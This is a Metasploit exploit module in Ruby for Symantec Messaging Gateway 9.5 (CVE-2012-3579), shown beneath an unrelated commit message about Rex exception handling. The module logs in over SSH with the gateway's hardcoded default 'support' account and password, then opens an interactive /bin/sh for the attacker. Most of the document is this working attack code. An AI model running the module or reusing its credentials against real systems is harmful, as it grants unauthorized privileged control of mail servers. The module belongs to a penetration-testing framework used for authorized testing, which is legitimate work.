HD Moore
6b4eb9a8e2
This change adds two new Rex exceptions and changes the local comm to raise the right one depending on the circumstances. The problem with the existing model is that failed binds and failed connections both raised the same exception. This change is backwards compatible with modules that rescue Rex::AddressInUse in additi on to Rex::ConnectionError. There were two corner cases that rescued Rex::AddressInUse specifically: 1. The 'r'-services mixin and modules caught the old exception when handling bind errors. These have been updated to use BindFailed 2. The meterpreter client had a catch for the old exception when the socket reports a bad destination (usually a network connection dropped). This has been updat ed to use InvalidDestination as that was the intention prior to this change. Since AddressInUse was part of ConnectionError, modules and mixins which caught both in the same rescue have been updated to just catch ConnectionError.
143 lines
3.8 KiB
Ruby
143 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'net/ssh'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Auxiliary::CommandShell
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def initialize(info={})
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super(update_info(info,
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'Name' => "Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability",
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'Description' => %q{
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This module exploits a default misconfiguration flaw on Symantec Messaging Gateway.
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The 'support' user has a known default password, which can be used to login to the
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SSH service, and gain privileged access from remote.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Stefan Viehbock', #Original discovery
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'Ben Williams', #Reporting the vuln + coordinated release
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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['CVE', '2012-3579'],
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['OSVDB', '85028'],
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['BID', '55143'],
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['URL', 'https://www.sec-consult.com/files/20120829-0_Symantec_Mail_Gateway_Support_Backdoor.txt'],
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['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20120827_00']
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],
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'DefaultOptions' =>
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{
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'ExitFunction' => "none"
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},
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'Payload' =>
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{
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'Compat' => {
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'PayloadType' => 'cmd_interact',
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'ConnectionType' => 'find'
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}
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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['Symantec Messaging Gateway 9.5', {}],
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],
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'Privileged' => true,
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#Timestamp on Symantec advisory
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#But was found on Jun 26, 2012
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'DisclosureDate' => "Aug 27 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RHOST(),
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Opt::RPORT(22)
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], self.class
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)
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register_advanced_options(
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[
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OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
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OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
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]
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)
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end
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def rhost
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datastore['RHOST']
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end
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def rport
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datastore['RPORT']
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end
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def do_login(user, pass)
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opts = {
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:auth_methods => ['password', 'keyboard-interactive'],
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:msframework => framework,
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:msfmodule => self,
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:port => rport,
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:disable_agent => true,
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:config => false,
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:password => pass,
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:record_auth_info => true,
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:proxies => datastore['Proxies']
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}
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opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
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begin
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ssh = nil
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::Timeout.timeout(datastore['SSH_TIMEOUT']) do
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ssh = Net::SSH.start(rhost, user, opts)
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end
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rescue Rex::ConnectionError
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return
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rescue Net::SSH::Disconnect, ::EOFError
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print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
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return
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rescue ::Timeout::Error
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print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
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return
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rescue Net::SSH::AuthenticationFailed
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print_error "#{rhost}:#{rport} SSH - Failed authentication"
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rescue Net::SSH::Exception => e
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print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
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return
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end
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if ssh
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conn = Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
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ssh = nil
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return conn
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end
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return nil
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end
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def exploit
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user = 'support'
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pass = 'symantec'
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print_status("#{rhost}:#{rport} - Attempt to login...")
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conn = do_login(user, pass)
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if conn
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print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")
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handler(conn.lsock)
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end
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end
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end
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